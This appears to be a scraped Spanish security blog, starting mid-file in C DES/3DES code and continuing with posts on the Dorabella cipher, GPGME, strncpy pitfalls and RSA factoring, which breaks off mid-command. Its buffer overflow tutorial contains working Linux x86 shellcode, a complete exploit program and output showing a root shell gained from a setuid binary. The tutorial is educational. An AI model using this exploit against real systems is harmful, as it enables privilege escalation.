        | (RHs[ (Y >>  4) & 0xF] << 7) | (RHs[ (Y >> 12) & 0xF ] << 6)
        | (RHs[ (Y >> 20) & 0xF] << 5) | (RHs[ (Y >> 28) & 0xF ] << 4);

    X &= 0x0FFFFFFF;
    Y &= 0x0FFFFFFF;

    /*
     * calculate subkeys
     */
    for( i = 0; i < 16; i++ )
    {
        if( i < 2 || i == 8 || i == 15 )
        {
            X = ((X <<  1) | (X >> 27)) & 0x0FFFFFFF;
            Y = ((Y <<  1) | (Y >> 27)) & 0x0FFFFFFF;
        }
        else
        {
            X = ((X <<  2) | (X >> 26)) & 0x0FFFFFFF;
            Y = ((Y <<  2) | (Y >> 26)) & 0x0FFFFFFF;
        }

        *SK++ =   ((X <<  4) & 0x24000000) | ((X << 28) & 0x10000000)
                | ((X << 14) & 0x08000000) | ((X << 18) & 0x02080000)
                | ((X <<  6) & 0x01000000) | ((X <<  9) & 0x00200000)
                | ((X >>  1) & 0x00100000) | ((X << 10) & 0x00040000)
                | ((X <<  2) & 0x00020000) | ((X >> 10) & 0x00010000)
                | ((Y >> 13) & 0x00002000) | ((Y >>  4) & 0x00001000)
                | ((Y <<  6) & 0x00000800) | ((Y >>  1) & 0x00000400)
                | ((Y >> 14) & 0x00000200) | ((Y      ) & 0x00000100)
                | ((Y >>  5) & 0x00000020) | ((Y >> 10) & 0x00000010)
                | ((Y >>  3) & 0x00000008) | ((Y >> 18) & 0x00000004)
                | ((Y >> 26) & 0x00000002) | ((Y >> 24) & 0x00000001);

        *SK++ =   ((X << 15) & 0x20000000) | ((X << 17) & 0x10000000)
                | ((X << 10) & 0x08000000) | ((X << 22) & 0x04000000)
                | ((X >>  2) & 0x02000000) | ((X <<  1) & 0x01000000)
                | ((X << 16) & 0x00200000) | ((X << 11) & 0x00100000)
                | ((X <<  3) & 0x00080000) | ((X >>  6) & 0x00040000)
                | ((X << 15) & 0x00020000) | ((X >>  4) & 0x00010000)
                | ((Y >>  2) & 0x00002000) | ((Y <<  8) & 0x00001000)
                | ((Y >> 14) & 0x00000808) | ((Y >>  9) & 0x00000400)
                | ((Y      ) & 0x00000200) | ((Y <<  7) & 0x00000100)
                | ((Y >>  7) & 0x00000020) | ((Y >>  3) & 0x00000011)
                | ((Y <<  2) & 0x00000004) | ((Y >> 21) & 0x00000002);
    }
}

/*
 * DES key schedule (56-bit)
 */
void des_set_key( des_context *ctx, unsigned char key[8] )
{
    int i;

    des_main_ks( ctx->esk, key );

    for( i = 0; i < 32; i += 2 )
    {
        ctx->dsk[i    ] = ctx->esk[30 - i];
        ctx->dsk[i + 1] = ctx->esk[31 - i];
    }
}

static void des_crypt( unsigned long SK[32],
                       unsigned char input[8],
                       unsigned char output[8] )
{
    unsigned long X, Y, T;

    GET_UINT32_BE( X, input, 0 );
    GET_UINT32_BE( Y, input, 4 );

    DES_IP( X, Y );

    DES_ROUND( Y, X );  DES_ROUND( X, Y );
    DES_ROUND( Y, X );  DES_ROUND( X, Y );
    DES_ROUND( Y, X );  DES_ROUND( X, Y );
    DES_ROUND( Y, X );  DES_ROUND( X, Y );
    DES_ROUND( Y, X );  DES_ROUND( X, Y );
    DES_ROUND( Y, X );  DES_ROUND( X, Y );
    DES_ROUND( Y, X );  DES_ROUND( X, Y );
    DES_ROUND( Y, X );  DES_ROUND( X, Y );

    DES_FP( Y, X );

    PUT_UINT32_BE( Y, output, 0 );
    PUT_UINT32_BE( X, output, 4 );
}

/*
 * DES block encryption (ECB mode)
 */
void des_encrypt( des_context *ctx,
                  unsigned char input[8],
                  unsigned char output[8] )
{
    des_crypt( ctx->esk, input, output );
}

/*
 * DES block decryption (ECB mode)
 */
void des_decrypt( des_context *ctx,
                  unsigned char input[8],
                  unsigned char output[8] )
{
    des_crypt( ctx->dsk, input, output );
}

/*
 * DES-CBC buffer encryption
 */
void des_cbc_encrypt( des_context *ctx,
                      unsigned char iv[8],
                      unsigned char *input,
                      unsigned char *output,
                      int len )
{
    int i;

    while( len > 0 )
    {
        for( i = 0; i < 8; i++ )
            output[i] = input[i] ^ iv[i];

        des_crypt( ctx->esk, output, output );
        memcpy( iv, output, 8 );

        input  += 8;
        output += 8;
        len    -= 8;
    }
}

/*
 * DES-CBC buffer decryption
 */
void des_cbc_decrypt( des_context *ctx,
                      unsigned char iv[8],
                      unsigned char *input,
                      unsigned char *output,
                      int len )
{
    int i;
    unsigned char temp[8];

    while( len > 0 )
    {
        memcpy( temp, input, 8 );
        des_crypt( ctx->dsk, input, output );

        for( i = 0; i < 8; i++ )
            output[i] = output[i] ^ iv[i];

        memcpy( iv, temp, 8 );

        input  += 8;
        output += 8;
        len    -= 8;
    }
}

/*
 * Triple-DES key schedule (112-bit)
 */
void des3_set_2keys( des3_context *ctx, unsigned char key[16] )
{
    int i;

    des_main_ks( ctx->esk     , key     );
    des_main_ks( ctx->dsk + 32, key + 8 );

    for( i = 0; i < 32; i += 2 )
    {
        ctx->dsk[i     ] = ctx->esk[30 - i];
        ctx->dsk[i +  1] = ctx->esk[31 - i];

        ctx->esk[i + 32] = ctx->dsk[62 - i];
        ctx->esk[i + 33] = ctx->dsk[63 - i];

        ctx->esk[i + 64] = ctx->esk[     i];
        ctx->esk[i + 65] = ctx->esk[ 1 + i];

        ctx->dsk[i + 64] = ctx->dsk[     i];
        ctx->dsk[i + 65] = ctx->dsk[ 1 + i];
    }
}

/*
 * Triple-DES key schedule (168-bit)
 */
void des3_set_3keys( des3_context *ctx, unsigned char key[24] )
{
    int i;

    des_main_ks( ctx->esk     , key      );
    des_main_ks( ctx->dsk + 32, key +  8 );
    des_main_ks( ctx->esk + 64, key + 16 );

    for( i = 0; i < 32; i += 2 )
    {
        ctx->dsk[i     ] = ctx->esk[94 - i];
        ctx->dsk[i +  1] = ctx->esk[95 - i];

        ctx->esk[i + 32] = ctx->dsk[62 - i];
        ctx->esk[i + 33] = ctx->dsk[63 - i];

        ctx->dsk[i + 64] = ctx->esk[30 - i];
        ctx->dsk[i + 65] = ctx->esk[31 - i];
    }
}

static void des3_crypt( unsigned long SK[96],
                        unsigned char input[8],
                        unsigned char output[8] )
{
    unsigned long X, Y, T;

    GET_UINT32_BE( X, input, 0 );
    GET_UINT32_BE( Y, input, 4 );

    DES_IP( X, Y );

    DES_ROUND( Y, X );  DES_ROUND( X, Y );
    DES_ROUND( Y, X );  DES_ROUND( X, Y );
    DES_ROUND( Y, X );  DES_ROUND( X, Y );
    DES_ROUND( Y, X );  DES_ROUND( X, Y );
    DES_ROUND( Y, X );  DES_ROUND( X, Y );
    DES_ROUND( Y, X );  DES_ROUND( X, Y );
    DES_ROUND( Y, X );  DES_ROUND( X, Y );
    DES_ROUND( Y, X );  DES_ROUND( X, Y );

    DES_ROUND( X, Y );  DES_ROUND( Y, X );
    DES_ROUND( X, Y );  DES_ROUND( Y, X );
    DES_ROUND( X, Y );  DES_ROUND( Y, X );
    DES_ROUND( X, Y );  DES_ROUND( Y, X );
    DES_ROUND( X, Y );  DES_ROUND( Y, X );
    DES_ROUND( X, Y );  DES_ROUND( Y, X );
    DES_ROUND( X, Y );  DES_ROUND( Y, X );
    DES_ROUND( X, Y );  DES_ROUND( Y, X );

    DES_ROUND( Y, X );  DES_ROUND( X, Y );
    DES_ROUND( Y, X );  DES_ROUND( X, Y );
    DES_ROUND( Y, X );  DES_ROUND( X, Y );
    DES_ROUND( Y, X );  DES_ROUND( X, Y );
    DES_ROUND( Y, X );  DES_ROUND( X, Y );
    DES_ROUND( Y, X );  DES_ROUND( X, Y );
    DES_ROUND( Y, X );  DES_ROUND( X, Y );
    DES_ROUND( Y, X );  DES_ROUND( X, Y );

    DES_FP( Y, X );

    PUT_UINT32_BE( Y, output, 0 );
    PUT_UINT32_BE( X, output, 4 );
}

/*
 * Triple-DES block encryption (ECB mode)
 */
void des3_encrypt( des3_context *ctx,
                   unsigned char input[8],
                   unsigned char output[8] )
{
    des3_crypt( ctx->esk, input, output );
}

/*
 * Triple-DES block decryption (ECB mode)
 */
void des3_decrypt( des3_context *ctx,
                   unsigned char input[8],
                   unsigned char output[8] )
{
    des3_crypt( ctx->dsk, input, output );
}

/*
 * 3DES-CBC buffer encryption
 */
void des3_cbc_encrypt( des3_context *ctx,
                       unsigned char iv[8],
                       unsigned char *input,
                       unsigned char *output,
                       int len )
{
    int i;

    while( len > 0 )
    {
        for( i = 0; i < 8; i++ )
            output[i] = input[i] ^ iv[i];

        des3_crypt( ctx->esk, output, output );
        memcpy( iv, output, 8 );

        input  += 8;
        output += 8;
        len    -= 8;
    }
}

/*
 * 3DES-CBC buffer decryption
 */
void des3_cbc_decrypt( des3_context *ctx,
                       unsigned char iv[8],
                       unsigned char *input,
                       unsigned char *output,
                       int len )
{
    int i;
    unsigned char temp[8];

    while( len > 0 )
    {
        memcpy( temp, input, 8 );
        des3_crypt( ctx->dsk, input, output );

        for( i = 0; i < 8; i++ )
            output[i] = output[i] ^ iv[i];

        memcpy( iv, temp, 8 );

        input  += 8;
        output += 8;
        len    -= 8;
    }
}

static const char _des_src[] = "_des_src";

#ifdef SELF_TEST

#include 

/*
 * DES/3DES test vectors (source: NIST, tripledes-vectors.zip)
 */
static const unsigned char DES3_keys[24] =
{
    0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF,
    0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0x01,
    0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0x01, 0x23
};

static const unsigned char DES3_init[8] =
{
    0x4E, 0x6F, 0x77, 0x20, 0x69, 0x73, 0x20, 0x74
};

static const unsigned char DES3_enc_test[3][8] =
{
    { 0x6A, 0x2A, 0x19, 0xF4, 0x1E, 0xCA, 0x85, 0x4B },
    { 0x03, 0xE6, 0x9F, 0x5B, 0xFA, 0x58, 0xEB, 0x42 },
    { 0xDD, 0x17, 0xE8, 0xB8, 0xB4, 0x37, 0xD2, 0x32 }
};
    
static const unsigned char DES3_dec_test[3][8] =
{
    { 0xCD, 0xD6, 0x4F, 0x2F, 0x94, 0x27, 0xC1, 0x5D },
    { 0x69, 0x96, 0xC8, 0xFA, 0x47, 0xA2, 0xAB, 0xEB },
    { 0x83, 0x25, 0x39, 0x76, 0x44, 0x09, 0x1A, 0x0A }
};

/*
 * Checkup routine
 */
int des_self_test( void )
{
    int i, j, u, v;
    des_context ctx;
    des3_context ctx3;
    unsigned char buf[8];

    for( i = 0; i < 6; i++ )
    {
        u = i >> 1;
        v = i & 1;

        printf( "  DES%c-EBC-%3d (%s): ",
                ( u == 0 ) ? ' ' : '3', 64 + u * 64,
                ( v == 0 ) ? "enc" : "dec" );

        memcpy( buf, DES3_init, 8 );

        if( u == 0 )
               des_set_key( &ctx,  (unsigned char *) DES3_keys );

        if( u == 1 )
            des3_set_2keys( &ctx3, (unsigned char *) DES3_keys );

        if( u == 2 )
            des3_set_3keys( &ctx3, (unsigned char *) DES3_keys );

        for( j = 0; j < 10000; j++ )
        {
            if( u == 0 )
            {
                if( v == 0 ) des_encrypt( &ctx, buf, buf );
                if( v == 1 ) des_decrypt( &ctx, buf, buf );
            }
            else
            {
                if( v == 0 ) des3_encrypt( &ctx3, buf, buf );
                if( v == 1 ) des3_decrypt( &ctx3, buf, buf );
            }
        }

        if( ( v == 0 && memcmp( buf, DES3_enc_test[u], 8 ) != 0 ) ||
            ( v == 1 && memcmp( buf, DES3_dec_test[u], 8 ) != 0 ) )
        {
            printf( "failed\n" );
            return( 1 );
        }

        printf( "passed\n" );
    }

    printf( "\n" );
    return( 0 );
}
#else
int des_self_test( void )
{
    return( 0 );
}
#endif

Referencias:
- Data Encryption Standard
- XySSL

El cifrado Dorabella

2007-05-29T15:39:00.000-07:00

El 14 de Julio de 1897 el compositor británico Sir Edward William Elgar envió una carta cifrada a su amiga Miss Dora Penny. Un siglo después, la carta todavía no ha sido descifrada. Este curioso cifrado, que ha resistido todo tipo de criptoanálisis hasta la actualidad, consiste en 87 carácteres repartidos en 3 líneas.

Estos extraños caracteres, formados por la unión de semicírculos, parecen constituir un alfabeto de 24 símbolos.

Si se analiza la frecuencia en la que aparecen los símbolos, se puede determinar que es similar a la de un texto en inglés. Sin embargo, los análisis en esta dirección no han obtenido conclusiones satisfactorias.

El cifrado Dorabella es uno de los muchos enigmas sin resolver del mundo de la criptografía y, sin lugar a dudas, uno de los mas curiosos.

Recientemente se ha propuesto una solución en:
http://unsolvedproblems.org/S02.jpg

Criptografía con GPG y GPGME I

2007-05-20T05:54:00.000-07:00

GnuPG es una implementación libre del estándar OpenPGP y una conocida herramienta en criptografía que permite cifrar, descifrar, firmar, verificar firmas y administrar claves.

GnuPG Made Easy o GPGME es una librería que permite acceder a GnuPG de forma sencilla, proporcionando una API de alto nivel.

A continuación vamos a ver como cifrar un archivo. Para ello es necesario disponer de una clave, por lo que si no se dispone de una puede generarse con:

$ gpg --gen-key

Para ver una lista de las claves existentes podemos ejecutar:

$ gpg --list-keys

Y para cifrar un archivo con GPG:

$ gpg --encrypt -r id file

donde id es el identificador de la clave que deseamos usar y file es el fichero a cifrar.

Para hacer lo mismo mediante GPGME usaremos la siguiente función (NOTA: para usar GPGME es necesario incluir la cabecera "gpgme.h").



int gpg_encrypt(char *fingerprint, char *src_path, char *dst_path)
{
  gpgme_ctx_t ctx;
  gpgme_error_t err;
  gpgme_data_t in, out;
  gpgme_key_t key[2] = { NULL, NULL};
  gpgme_encrypt_result_t result;
  #define BUF_SIZE 512
  char buf[BUF_SIZE + 1];
  int ret;
  FILE *f;

  gpgme_check_version(NULL);
  setlocale(LC_ALL, "");
  gpgme_set_locale(NULL, LC_CTYPE, setlocale (LC_CTYPE, NULL));
  gpgme_set_locale(NULL, LC_MESSAGES, setlocale (LC_MESSAGES, NULL));

  if( (err=gpgme_engine_check_version (GPGME_PROTOCOL_OpenPGP)) != 0)
  {
     fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
     return EXIT_FAILURE;
  }

  if( (err=gpgme_new(&ctx)) != 0)
  {
     fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
     return EXIT_FAILURE;
  }

  gpgme_set_armor(ctx, 1);

  if( (err=gpgme_data_new_from_file (&in, src_path, 1)) != 0)
  {
     fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
     return EXIT_FAILURE;
  }

  if( (err=gpgme_data_new(&out)) != 0)
  {
     fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
     return EXIT_FAILURE;
  }

  if( (err=gpgme_get_key(ctx, fingerprint, &key[0], 0)) != 0)
  {
     fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
     return EXIT_FAILURE;
  }

  if( (err=gpgme_op_encrypt(ctx, key, GPGME_ENCRYPT_ALWAYS_TRUST,
         in,out)) !=0)
  {
     fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
     return EXIT_FAILURE;
  }

  result = gpgme_op_encrypt_result(ctx);
  if (result->invalid_recipients)
  {
      fprintf(stderr,"Invalid recipient: %s\n",result->invalid_recipients->fpr);
      return EXIT_FAILURE;
  }

  if( (f=fopen(dst_path, "w+")) == NULL)
  {
     perror("fopen()");
     return EXIT_FAILURE;
  }

  if( (ret=gpgme_data_seek (out, 0, SEEK_SET)) != 0)
  {
     err = gpgme_err_code_from_errno (errno);
     fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
     return EXIT_FAILURE;
  }

  while( (ret = gpgme_data_read (out, buf, BUF_SIZE)) > 0)
     fwrite (buf, ret, 1, f);

  if(ret<0)
  {
     err = gpgme_err_code_from_errno (errno);
     fprintf(stderr, "%s: %s\n", gpgme_strsource(err), gpgme_strerror (err));
     return EXIT_FAILURE;
  }

  gpgme_key_unref (key[0]);
  gpgme_key_unref (key[1]);
  gpgme_data_release (in);
  gpgme_data_release (out);
  gpgme_release (ctx);

  return EXIT_SUCCESS;
}

Llamando a esta función con los parámetros adecuados cifraremos un fichero tal y como lo haríamos desde la shell con el comando gpg. Un ejemplo de llamada a la función sería el siguiente:



if(gpg_encrypt("F1234567", "secreto", "secreto.gpg") != 0)
{
... // error
}

Para compilar un programa que usa la librería GPGME disponemos de gpgme-config, que nos permite obtener los flags necesarios y las librerías. Un ejemplo de compilación es el siguiente:

$ gcc `gpgme-config --cflags --libs` -D_FILE_OFFSET_BITS=64  test.c

Finalmente, para descifrar un archivo con GPG podemos ejecutar el siguiente comando:

$ gpg --decrypt  file

GPG nos solicitará la contraseña y descifrará el archivo.

Pueden encontrarse más ejemplos de como usar esta librería en las fuentes de: GPGME.

Buffer Overflow

2007-05-20T03:23:00.000-07:00

En este post se describe el funcionamiento de los ataques por buffer overflow. Existen muchos documentos que se ocupan de este tema, aunque considero que en su mayoría complican demasiado la explicación de un concepto que en absoluto es complicado. El objetivo de este documento es dar un enfoque sencillo y educativo al buffer overflow. Espero haberlo conseguido.

¿Qué es un buffer overflow?

Un buffer overflow, como su mismo nombre indica, consiste en escribir en un buffer mas datos de los que es capaz de contener. En el lenguaje C este caso suele darse en funciones que no comprueban el tamaño de los buffers, como strcpy(), sprintf(), etc. Un ejemplo típico y sencillo es el siguiente:



/* vulnerable.c */

void vulnerable (char *param) 
{
   char buffer[512];
   strcpy (buffer, param);
}
                                                                                
int main (int argc, char **argv) 
{
   if (argc!=2) 
   {                                                                             
      printf ("Uso: %s \n", argv[0]);
      return 0;
   }
                        
   vulnerable (argv[1]); 
   return 0;
}

Como se puede ver en el programa anterior el buffer ha sido diseñado para contener un máximo de 512 bytes. El (mal) uso de la funcion strcpy() permite al usuario del programa copiar en el buffer más de 512 bytes, desbordandolo.


$ gcc vulnerable.c -o vulnerable
$ ./vulnerable `perl -e "print 'A'x1000;"`
Violacion de segmento

El resultado de pasar como parametro un cadena de 1000 As, ha sido un fallo de segmentación. Veamos cuál es el motivo.

El programa vulnerable, en una maquina Linux x86, utilizaría la pila del sistema como en el siguiente dibujo:





                   __________________  <------ %esp (Stack Pointer)
                  |                  |
                  |       ...        |
                  |                  |
                  |__________________|
                  |      buffer      |
                  |__________________|
                  |      buffer      |
                  |__________________|
                  |      buffer      |
                  |__________________|
                  |  Frame Pointer   |
                  |__________________|
                  |  Return address  |
                  |__________________|
                  |      param       |
                  |__________________|
                  |      param       |
                  |__________________|
                  |      param       |
                  |__________________|
                  |                  |
                  |       ...        |
                  |                  |
                  |                  |

El stack pointer es un registro que guarda la dirección donde empieza la pila. Esta dirección suele ser siempre la misma en todos los programas.

Cuando un programa llama a una función debe guardar la dirección en la que se encuentra para saber donde volver cuando la función termine. Esta dirección se guarda en el stack y es conocida como dirección de retorno.

Cuando empieza la funcion vulnerable(), se guarda en la pila los parámetros que recibe la función (param), la dirección de retorno, el frame pointer y a continuación las variables que se declaran en la función. En nuestro caso, buffer. Quedando como en el dibujo anterior.

Al desbordar buffer con la cadena de letras A (en hexadecimal 0x41), primero se sobreescreibiría el Frame Pointer, después se sobreescribiría la dirección de retorno (return address), después los parametros, etc. Quedando la pila de la siguiente manera:




                   __________________  <------ %esp (Stack Pointer)
                  |                  |
                  |       ...        |
                  |                  |
                  |__________________|

                  |    0x41414141    |  <-- buffer
                  |__________________|
                  |    0x41414141    |  <-- buffer
                  |__________________|
                  |    0x41414141    |  <-- buffer
                  |__________________| 
                  |    0x41414141    |  <-- Frame Pointer
                  |__________________|
                  |    0x41414141    |  <-- Return address
                  |__________________|
                  |    0x41414141    |  <-- param
                  |__________________|
                  |    0x41414141    |  <-- param
                  |__________________|
                  |    0x41414141    |  <-- param
                  |__________________|
                  |                  |
                  |       ...        |
                  |                  |
                  |                  |

Cuando la función termine sacará la dirección de retorno de la pila y saltara a ella. Esta dirección ha sido modificada por el overflow y ahora es 0x41414141 (las As en hexadecimal). Al saltar a 0x41414141 e intentar ejecutar una instrucción, como se encuentra fuera del espacio de direcciones, obtendra un fallo de segmentación.

Es evidente que esto nos permite cambiar el flujo de ejecución del programa. Solo tenemos que ser capaces de sobreescribir la dirección de retorno con una dirección que apunte a algun lugar de la pila con codigo ejecutable.

Imaginemos que somos capaces de sobreescribir la pila con nuestro buffer overflow de manera que quede como en el siguiente dibujo:



                   __________________  <------ %esp (Stack Pointer)
                  |                  |
                  |       ...        |
                  |                  |
                  |__________________|
         ------>  | NOP NOP NOP NOP  |  <-- buffer
        |         |__________________|
        |         | NOP NOP NOP NOP  |  <-- buffer
        |         |__________________|
        |         |    SHELLCODE     |  <-- buffer
        |         |__________________| 
        |         | RET RET RET RET  |  <-- Frame Pointer
        |         |__________________|
         -------  | RET RET RET RET  |  <-- Return address
                  |__________________|
                  | RET RET RET RET  |  <-- param
                  |__________________|
                  | RET RET RET RET  |  <-- param
                  |__________________|
                  | RET RET RET RET  |  <-- param
                  |__________________|
                  |                  |
                  |       ...        |
                  |                  |
                  |                  |

Donde NOP es una operación del procesador que no hace nada, SHELLCODE es nuestro código ejecutable y RET una dirección de retorno falseada que apunta a algun lugar de la zona de NOPs.

Si todo saliese bien, cuando el progama saltase a la dirección de retorno (modificada por el buffer overflow) iría a parar a algun lugar de la zona de NOPs y a continuación pasaria de un NOP al siguiente hasta llegar a la SHELLCODE, que sería ejecutada.

¿Sencillo no?
Pues solo es necesario desarrollar un programa (o exploit) que cree un buffer con las características mencionadas.

El único problema con el que nos podemos encontrar consiste en averiguar a que distancia del stack se encuntra la zona de NOPs. Si no acertamos, nuestro programa saltara a una zona equivocada, produciondo un error de segmentación, de intrucción no valida, etc.
Por este motivo nuestro exploit debera ser un programa parametrizado que nos permita modificar el offset (distancia del stack pointer a la zona de NOPs).

Antes de empezar con el desarrollo del exploit, es necesario hacer algunos comentarios acerca de la shellcode:
La shellcode es el código ejecutable que hay que colocar en el stack. Ahora no entraré en como se desarrolla. Solo diré que consiste en un código hexadecimal que depende del sistema operativo y la plataforma. En el exploit de ejemplo se utilizara la siguiente:


\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68
\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd
\x80\x31\xc0\x40\xcd\x80

Este código, para Linux x86, proporciona una shell interactiva al usuario.

Desarrollo de un exploit:

Según se ha explicado en el apartado anterior, el desarrollo del exploit consiste en crear un buffer con unas caracteristicas especiales, y utilizarlo para desbordar el programa vulnerable.

Los pasos a seguir por el exploit son los siguientes:

1. Crear un buffer de tamañoo superior al buffer original. Unos 100 bytes mas son suficientes. Aunque en nuestro caso bastaría con unos cuantos menos.

2. Buscar el stack pointer. Con una función como la siguiente:



unsigned long get_sp(void) 
{   
   __asm__("movl %esp,%eax"); 
}

3. Obtener una dirección de retorno restando un offset a la dirección del stack pointer.

4. Rellenar el buffer con la estructura estudiada. Más o menos asi:


   BUFFER: NNNNNNNNNN SSSSSSSSSS RRRRRRRRRR

5. Ejecutar el programa vulnerable con nuestro buffer como parametro.

Veamos el programa de ejemplo:



/* exploit.c */
                                                                                
#define NOP 0x90
                                                                                
char shellcode[]=
"\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd"
"\x80\x31\xc0\x40\xcd\x80";
                                                                                
/* Retorna el stack pointer */
unsigned long get_sp(void) 
{
   __asm__("movl %esp,%eax");
}
                                                                                
int  main(int argc, char *argv[]) 
{                                                                                
   char *buffer;
   char *pbuffer;
                                                                                
   long *addr_pbuffer;
   long  nop_addr;
                                                                                
   int offset=0;
   int size;
   int i;
                                                                                                                                                                
   if (argc!=3) 
   {                                                                             
      printf ("Uso: %s  \n", argv[0]);
      return 0;
   }

   size  = atoi(argv[1]) + 100;
   offset = atoi(argv[2]);
                                                                                
   if (!(buffer = malloc(size))) 
   {                                                                             
      printf("malloc()\n");
      exit(0);
   }
                                                                                
   /* Direccion aproximada de la zona de NOPs */
   nop_addr = get_sp() - offset;
                                                                                
   /*
    *  Llenamos el buffer con la direccion de retorno (R):
    *  BUFFER: RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
    */
   pbuffer = buffer;
   addr_pbuffer = (long *) pbuffer;
   for (i = 0; i < size; i+=4)
      *(addr_pbuffer++) = nop_addr;
                                                                                
   /*
    *  Llenamos la primera mitad del buffer con NOPs
    *  BUFFER: NNNNNNNNNNNNNNN RRRRRRRRRRRRRRRR
    */
   for (i = 0; i < size/2; i++)
      buffer[i] = NOP;

   /*
    *  Ponemos la shellcode (S) en la mitad del buffer
    *  BUFFER: NNNNNNNNNN SSSSSSSSSS RRRRRRRRRR
    */
   pbuffer = buffer + ((size/2) - (strlen(shellcode)/2));
   for (i = 0; i < strlen(shellcode); i++)
      *(pbuffer++) = shellcode[i];
                                                                                
   /* Delimitamos el final del buffer */
   buffer[size - 1] = '\0';
                                                                                
   /* Ejecutamos el exploit */
   execl("./vulnerable", "vulnerable", buffer, 0);
                                                                                
   return 0;
}

Probemos nuestro exploit:


$ gcc exploit.c -o exploit
$ ./exploit
Uso: ./exploit

Pasamos como parametro el tamaño del buffer de nuestro programa vulnerable y, de momento, un offset de 0.


$./exploit 512 0
sh-2.05b#

A la primera! Mucha suerte hemos tenido.
Probemos con un buffer inferior. Compilemos vulnerable con un buffer de 256.



   ...
   char buffer[256];
   strcpy (buffer, param);
   ...


$ gcc vulnerable.c -o vulnerable
$  ./exploit 256 0
Instruccion ilegal
$ ./exploit 256 100
Violacion de segmento
$ ./exploit 256 200
Violacion de segmento
$ ./exploit 256 300
Instruccion ilegal
$ ./exploit 256 400
Violacion de segmento
$ ./exploit 256 500
sh-2.05b#

En pocos intentos ya tenemos nuestra shell. Hagamos una última prueba con un buffer de 2048 bytes.



   ...
   char buffer[2048];
   strcpy (buffer, param);
   ...


gcc vulnerable.c -o vulnerable
$ ./exploit 2048 0
Instruccion ilegal
$ ./exploit 2048 500
Instruccion ilegal
$ ./exploit 2048 1000
sh-2.05b#

Como puede comprobarse, no resulta muy dificil encontrar la distancia desde el stack pointer a la zona de NOPs.

Para finalizar veamos un ejemplo de como puede utilizarse un ataque de buffer overflow para escalar privilegios.

Supongamos un programa vulnerable setuid. Podemos crear uno con:


$ chmod +s vulnerable
$ ls -lh vulnerable
-rwsr-sr-x  1 root root 4,9K jul 26 17:49 vulnerable

... y un usuario sin privilegios:


$ id
uid=500(pepito) gid=500(pepito) grupos=500(pepito)

El usuario sin privilegios puede explotar vulnerable y obtener su privilegio de root. Veamos:


$ id
uid=500(pepito) gid=500(pepito) grupos=500(pepito)
$ exploit 2048 1000
sh-2.05b# id
uid=0(root) gid=500(pepito) groups=500(pepito)

Referencias:

Smashing The Stack For Fun And Profit
http://www.phrack.org/phrack/49/P49-14

How to write Buffer Overflows
http://www.insecure.org/stf/mudge_buffer_overflow_tutorial.html

Sobre strcpy() y strcat()

2007-05-18T09:36:00.000-07:00

Es bien conocido por los programadores de C los problemas de seguridad asociados a las funciones strcpy() y strcat(). El hecho de que no verifiquen la longitud de los datos que se estan copiando da origen a graves desbordamientos de buffer. Para evitar este problema se suelen usar las funciones strncpy() y strncat() respectivamente. Ambas, copian únicamente el número de bytes especificados. Aunque esto representa una mejora considerable sobre strcpy() y strcat() continua existiendo un problema. Si se sobrepasa el tamaño máximo en la copia, estas funciones no finalizan el string en NULL. Veamos un ejemplo de lo que pasa:



int main()
{
   char a[32];
   char b[8];
   char *c = "aaaaaaaa";

   strcpy(a, "informacion sensible");
   strncpy(b, c, 8);

   printf("%s\n", b);

   return 0;
}

Si ejecutamos este código, la lógica nos dice que el resultado debería ser:

aaaaaaaa

Sin embargo, dado que strncpy() no pone un null al final por haber sobrepasado la lóngitud máxima (en este caso 8), el resultado será:

aaaaaaaainformacion sensible

dando lugar a un fallo de seguridad.

Para evitar este tipo de problemas existen dos opciones. La primera consiste en asegurarnos de que se pone un NULL al final del string. Por ejemplo añadiendo:

b[7]=0;

La sengunda consiste en usar funciones seguras como strlcpy() y strlcat(). Pero estas funciones no son estándar, así que no suelen estar en algunos sistemas (como por ejemplo GNU/Linux). Así que a continuación dejo una copia:



void strlcpy(char *dst, char *src, size_t size)
{
   size_t len = size;
   char*  dstptr = dst;
   char*  srcptr = src;

   if(len && --len)
      do { if(!(*dstptr++ = *srcptr++)) break; } while(--len);

   if (!len && size) *dstptr=0;
}



void strlcat(char *dst, char *src, size_t size)
{
   size_t len = size;
   size_t dstlen;
   char *dstptr = dst;
   char *srcptr = src;

   while(len-- && *dstptr)
      dstptr++;

   dstlen = dstptr-dst;

   if(!(len=size-dstlen))
      return;

   while(*srcptr)
   {
      if(len!=1)
      {
         *dstptr++ = *srcptr;
         len--;
      }
      srcptr++;
   }
   *dstptr=0;
}

Rompiendo claves RSA

2007-05-13T05:37:00.000-07:00

Aunque hoy por hoy no es posible romper una clave RSA de más de 1024 bits ni con miles de computadoras trabajando en paralelo, los algoritmos de factorización no dejan de mejorar. A continuación voy a explicar cómo romper una clave RSA relativamente pequeña usando uno de estos algoritmos.

Primero crearemos un entorno de pruebas con el que cifrar y descifrar. Usaremos la herramienta openssl.

Generamos un par de claves RSA de 256 bits.
$ openssl genrsa -out privkey.pem 256

# Extraemos la clave publica
$ openssl rsa -in privkey.pem -pubout -out pubkey.pem
$ cat pubkey.pem
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAK1/eaHlW68OrwaeT/X6V9mx4pkvE8mW
QScrI2z8UVBhAgMBAAE=
-----END PUBLIC KEY-----

# Algo que cifrar
$ echo ";)" > msg.txt

# Ciframos (con la clave publica)
